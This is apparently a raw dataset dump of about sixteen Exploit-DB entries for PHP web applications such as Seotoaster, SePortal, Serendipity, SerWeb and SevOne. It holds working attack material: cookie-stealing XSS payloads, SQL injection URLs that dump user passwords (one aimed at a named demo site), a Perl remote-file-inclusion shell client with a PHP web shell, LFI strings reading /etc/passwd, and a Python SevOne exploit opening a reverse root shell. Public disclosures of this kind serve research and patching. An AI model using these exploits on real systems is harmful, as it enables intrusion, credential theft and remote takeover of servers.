deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49268
Description: Seotoaster 3.2.0 - Stored XSS on Edit page properties
Type: webapps
Platform: php
Date: 2020-12-16
Author: Hardik Solanki

Exploit:
# Exploit Title: Seotoaster 3.2.0 - Stored XSS on Edit page properties
# Exploit Author: Hardik Solanki
# Vendor Homepage: https://www.seotoaster.com/
# Software Link: https://crm-marketing-automation-platforms.seotoaster.com/
# Version: 3.2.0
# Tested on Windows 10

XSS ATTACK:
Cross-site Scripting (XSS) is a client-side code injection attack. The
attacker aims to execute malicious scripts in a web browser of the victim
by including malicious code in a legitimate web page or web application.
The actual attack occurs when the victim visits the web page or web
application that executes the malicious code. The web page or web
application becomes a vehicle to deliver the malicious script to the user’s
browser. Vulnerable vehicles that are commonly used for Cross-site
Scripting attacks are forums, message boards, and web pages that allow
comments.

XSS IMPACT:
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: Edit page properties

Steps to reproduce:
1: Navigate to "https://localhost/" and log in with valid credentials.
2: Then navigates/click on "Edit page properties".
3: Add the payload "*"><script>alert(document.cookie)</script>*", on "Page header H1 tag" field and click on "Save Page" button. Page Saved succesfully.
4: Hence XSS will get stored and trigger on the main home/main page.
Exploit-DB #5960
Description: SePortal 2.4 - 'poll_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-27
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## SePortal V2.4 ( poll.php poll_id ) ( staticpages.php sp_id )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : SePortal V2.4
##
## site     : www.seportal.org
##
## Download : http://www.seportal.org/downloads.php?action=showfile&id=1
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          poll.php?poll_id=1'+union+select+1,convert(concat_ws(0x3a3a,user_name,user_password)+using+latin1),1,1,1,1,1,1,1,1+from+seportal_users+limit+1,1/*
##  
##
##  -(:: L!VE DEMO ::)-
##      
##       http://demo.seportal.org/poll.php?poll_id=1'+union+select+1,convert(concat_ws(0x3a3a,user_name,user_password)+using+latin1),1,1,1,1,1,1,1,1+from+seportal_users+limit+1,1/*
##       
##       http://demo.seportal.org/staticpages.php?sp_id=1'    << here maybe most registr ;)
##
#######################
#######################


#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-27]
Exploit-DB #18222
Description: SePortal 2.5 - SQL Injection (1)
Type: webapps
Platform: php
Date: 2011-12-09
Author: Don

Exploit:
############################################################################
# Exploit Title: SePortal 2.5 SQL Injection
# Google Dork: Powered by SePortal 2.5
# Date: Decembar/08/2011
# Author: Don (BalcanCrew & BalcanHack)
# Software Link: http://seportal.org
# Version: 2.5
# Tested on: LiteSpeed
############################################################################

Vulnerability:
http://server/redirect.php?action=banner&goto= (SQL)

How to fix this vulnerability:
Filter metacharacters from user input.

~Don 2011
Exploit-DB #51373
Description: Serendipity 2.4.0 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-20
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS)
Author: Mirabbas Ağalarov
Application: Serendipity
Version: 2.4.0
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://docs.s9y.org/
Software Link: https://docs.s9y.org/downloads.html
Date of found: 13.04.2023
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1.Anyone who has the authority to create the new entry can do this
payload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E


POST /serendipity/serendipity_admin.php? HTTP/1.1
Host: localhost
Content-Length: 730
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b
Connection: close

serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=[PII_REDACTED]&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=[PII_REDACTED]&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_[CREDENTIAL_REDACTED]=&serendipity%5Bchange_author%5D=1



2. visit the entry you created
Exploit-DB #51403
Description: Serendipity 2.4.0 - File Inclusion RCE
Type: webapps
Platform: php
Date: 2023-05-02
Author: nu11secur1ty

Exploit:
## Exploit Title: Serendipity 2.4.0 - File Inclusion RCE
## Author: nu11secur1ty
## Date: 04.26.2023
## Vendor: https://docs.s9y.org/index.html
## Software: https://github.com/s9y/Serendipity/releases/tag/2.4.0
## Reference: https://portswigger.net/web-security/file-upload
## Reference: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

## Description:
The already authenticated attacker can upload HTML files on the
server, which is absolutely dangerous and STUPID
In this file, the attacker can be codding a malicious web-socket
responder that can connect with some nasty webserver somewhere. It
depends on the scenario, the attacker can steal every day very
sensitive information, for a very long period of time, until the other
users will know that something is not ok with this system, and they
decide to stop using her, but maybe they will be too late for this
decision.

STATUS: HIGH Vulnerability

[+]Exploit:
```HTML
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>NodeJS WebSocket Server</title>
</head>
<body>
	<h1>You have just sent a message to your attacker,<br>
	<h1>that you are already connected to him.</h1>
<script>
const ws = new WebSocket("ws://attacker:8080");
ws.addEventListener("open", () =>{
  console.log("We are connected to you");
  ws.send("How are you, dear :)?");
});

ws.addEventListener('message', function (event) {
    console.log(event.data);
});
</script>
</body>
</html>

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/s9y/2023/Serendipity-2.4.0)

## Proof and Exploit:
[href](https://streamable.com/2s80z6)

## Time spend:
01:27:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #35197
Description: Serenity Client Management Portal 1.0.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-11-10
Author: Halil Dalabasmaz

Exploit:
# Exploit Title: Serenity Client Management Portal Multiple Vulnerabilities
# Date: 08-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.0.1
# Software Link: http://codecanyon.net/item/serenity-client-management-portal/9136098
# Software Test Link: http://www.zenperfectdesign.com/demo/serenity-cc/

# Vulnerabilities Description:

===Unrestricted File Upload===
Login to system and go to "Profile" section. Now you can upload any file or shell file from "Profile Image" section.

Solution
Filter the files aganist to attacks.

===

===Stored XSS===
Login to system and go to "Profile" section. Now you can run any XSS payloads on all profile inputs.

Sample Payload for XSS: "><script>alert(document.cookie);</script>

Solution
Filter the files aganist to attacks.
Exploit-DB #45817
Description: ServerZilla 1.0 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-12
Author: Ihsan Sencan

Exploit:
# Exploit Title: ServerZilla 1.0 - 'email' SQL Injection
# Dork: N/A
# Date: 2018-11-08
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://serverzilla.sourceforge.io/
# Software Link: https://ayera.dl.sourceforge.net/project/serverzilla/ServerZilla_src.zip
# Version: 1.0 
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/reset.php
# 
POST /[PATH]/reset.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
email=%27%20%4f%52%20%4e%4f%54%20%31%3d%31%2d%2d%20%45%66%65&code=
HTTP/1.1 200 OK
Date: Thu, 08 Nov 2018 19:57:09 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 1117
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #51482
Description: Service Provider Management System v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-05-24
Author: ASHIK KUNJUMON

Exploit:
# Exploit Title: Service Provider Management System v1.0 - SQL Injection
# Date: 2023-05-23
# Exploit Author: Ashik Kunjumon
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link: https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html
# Version: 1.0
# Tested on: Windows/Linux

1. Description:

Service Provider Management System v1.0 allows SQL Injection via ID
parameter in /php-spms/?page=services/view&id=2
Exploiting this issue could allow an attacker to compromise the
application, access or modify data,
or exploit the latest vulnerabilities in the underlying database.

Endpoint: /php-spms/?page=services/view&id=2

Vulnerable parameter: id (GET)

2. Proof of Concept:
----------------------

Step 1 - By visiting the url:
http://localhost/php-spms/?page=services/view&id=2 just add single quote to
verify the SQL Injection.
Step 2 - Run sqlmap -u " http://localhost/php-spms/?page=services/view&id=2"
-p id --dbms=mysql

SQLMap Response:
----------------------
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=services/view&id=1' AND 8462=8462 AND 'jgHw'='jgHw

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: page=services/view&id=1' AND (SELECT 1839 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(1839=1839,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Cqhk'='Cqhk

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=services/view&id=1' AND (SELECT 1072 FROM
(SELECT(SLEEP(5)))lurz) AND 'RQzT'='RQzT
Exploit-DB #4089
Description: SerWeb 0.9.4 - 'load_lang.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-21
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# SerWeb 0.9.4- Remote FIle Inclusion
#
# This software, serweb, is a web interface for self-provisioning
# of users of SER SIP Server (http://www.iptel.org/ser/)
#
# Url: http://ftp.iptel.org/pub/ser/0.9.6/contrib/serweb-0.9.4.tar.gz
#
# Exploit:
#
http://site.com/[path]/load_lang.php?_SERWEB[serwebdir]=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
# greetz to all RST [rstzone.net] MEMBERZ
#
# Fuckz: GM [h4cky0u] -[bigest nub], me

use LWP::Simple;

print
"...........................[RST]...............................\n";
print ".
.\n";
print ".        SerWeb 0.9.4- Remote FIle Inclusion
.\n";
print ".
.\n";
print
"...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET
.\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net
.\n";
print
"...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/load_lang.php";


sub usage(){
       print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
       print "Example  : perl $0 http://127.0.0.1
http://site.com/cmd.txt\n\n";
       print 'Shell    : <?php
ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
          }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?_SERWEB[serwebdir]=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-06-21]
Exploit-DB #4696
Description: SerWeb 2.0.0 dev1 2007-02-20 - Multiple Local/Remote File Inclusion Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-06
Author: GoLd_M

Exploit:
SerWeb <= 2.0.0 dev1 2007-02-20 Multiple RFI / LFI Vulnerabilities
D.Script : http://ftp.iptel.org/pub/serweb/daily-snapshots/serweb-2.0.0-dev1_2007-02-20.tar.gz
POC:
    /load_lang.php?_SERWEB[configdir]=Shell
    /main_prepend.php?_SERWEB[functionsdir]=Shell
    /load_phplib.php?_PHPLIB[libdir]=Shell
    /js/get_js.php?mod=../../../../../../../etc/passwd%00
    /js/get_js.php?js=../../../../../../../etc/passwd%00

# milw0rm.com [2007-12-06]
Exploit-DB #9284
Description: SerWeb 2.1.0-dev1 2009-07-02 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-07-27
Author: GoLd_M

Exploit:
SerWeb <= 2.1.0-dev1 2009-07-02 Multiple Remote File Inclusion Vulnerabilities
D.Script : http://ftp.iptel.org/pub/serweb/daily-snapshots/
POC:
/load_lang.php?_SERWEB[configdir]=Shell
/main_prepend.php?_SERWEB[functionsdir]=Shell
/load_phplib.php?_PHPLIB[libdir]=Shell
Us = php_flag magic_quotes_gpc Off / php_flag magic_quotes_runtime Off

# milw0rm.com [2009-07-27]
Exploit-DB #12373
Description: Sethi Family Guestbook 3.1.8 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-24
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Sethi Family Guestbook XSS Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Sethi Family Guestbook
Vendor = Sethi
Vendor Website = http://www.sethi.org/
Affected Version(s) = 3.1.8

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = XSS
Example URI = index.php?start=XX&number=~~XSS~~&bg=XX&f=XX

>> #2 Vulnerability
Type = XSS
Injecting HTML/JavaScript in normal guestbook entries is possible, e.g. try
<iframe> and <script> tags.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 24.04.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #18065
Description: SetSeed CMS 5.8.20 - 'loggedInUser' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-02
Author: LiquidWorm

Exploit:
SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability


Vendor: SetSeed
Product web page: http://www.setseed.com
Affected version: 5.8.20

Summary: SetSeed is a self-hosted CMS which lets you rapidly build
and deploy complete websites and online stores for your clients.

Desc: SetSeed CMS is vulnerable to SQL injection. A remote attacker
could send specially-crafted SQL statements to the vulnerable script
using the cookie input 'loggedInUser', which could allow the attacker
to view, add, modify or delete information in the back-end database.


Tested on: Microsoft Windows XP Pro SP3 (EN)
           Apache 2.2.21
           MySQL 5.5.16
           PHP 5.3.8


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5053
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5053.php



02.11.2011

---


GET /setseed-hub/ HTTP/1.1
Cookie: loggedInKey=PYNS9QVWLEBG1E7C9UFCT674DYNW9YJ; loggedInUser=1%27; PHPSESSID=d6qiobigb5204mkuvculibhgd4
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)


HTTP/1.1 200 OK
Date: Wed, 02 Nov 2011 15:39:39 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Content-Length: 150
Keep-Alive: timeout=5, max=62
Connection: Keep-Alive
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''1''' at line 1
Exploit-DB #39234
Description: SevOne NMS 5.3.6.0 - Remote Command Execution
Type: webapps
Platform: php
Date: 2016-01-14
Author: @iamsecurity

Exploit:
#!/usr/bin/env python

# Exploit Title: SevOne NMS <= 5.3.6.0 reverse shell remote root
# Date: 01/14/2016
# Exploit Author: @iamsecurity
# Vendor Homepage: https://www.sevone.com/
# Software Link: https://www.sevone.com/download2/free/vimage/SevOne-Download.ova
# Version: 5.3.6.0
"""sevone.py: Simple reverse root shell exploit for SevOne <= 5.3.6.0.
Details: http://russiansecurity.expert/2016/01/14/critical-security-issues-in-sevone-nms/
run: ./sevone.py "sevone_url" lhost lport
"""

import sys
import requests

__author__ = '@iamsecurity'


def main():
    if len(sys.argv) < 4:
        print('Enter url of SevOne PAS server and listen IP and PORT to connect back.\nUsage: ' + sys.argv[0] +
              ' "sevone_url" lhost lport\nExample: ./sevone.py http://192.168.1.104 192.168.1.105 31337')
        sys.exit(1)
    requests.packages.urllib3.disable_warnings()
    url = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]
    login_url = url + "/doms/login/processLogin.php"
    rce_url = url + "/doms/discoveryqueue/kill.php"
    login = "SevOneStats"
    [CREDENTIAL_REDACTED]"
    s = requests.Session()
    s.verify = False
    payload = [
        '`echo \'import os; import pty; import socket; lhost="'+lhost+'"; lport='+lport+'; s=socket.socket(socket.AF_IN'
        'ET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fi'
        'leno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close()\' | dd of=/tmp/sess_ap6k1d1ucb'
        'etfk9fhcqdnk0be5`',
        '`python /tmp/sess_ap6k1d1ucbetfk9fhcqdnk0be5; rm -rf /tmp/sess_ap6k1d1ucbetfk9fhcqdnk0be5`'
    ]
    s.post(login_url, {'login': login, 'passwd': password, 'tzString': 1})
    s.post(rce_url, {'pids[]': payload[0]})
    try:
        s.post(rce_url, {'pids[]': payload[1]}, timeout=0.001)
    except requests.exceptions.ReadTimeout:
        print("Don't need wait for response from server. Exploit successfully!")
        pass


if __name__ == "__main__":
    main()
Exploit-DB #6751
Description: SezHoo 0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-14
Author: DaRkLiFe

Exploit:
**************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul

**************************************************************************************
Script   :

SezHoo 0.1 Remote File Inclusion Vulnerability

Download:

http://downloads.sourceforge.net/sezhoo/sezhoo.tar.gz?modtime=[PII_REDACTED]&big_mirror=0

**************************************************************************************

Exploit :

http://site.com/sezhoo/SezHooTabsAndActions.php?IP=Sh3lLz?

**************************************************************************************

Vulnerable : line 21 : require_once( "$IP/includes/Defines.php" );

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# milw0rm.com [2008-10-14]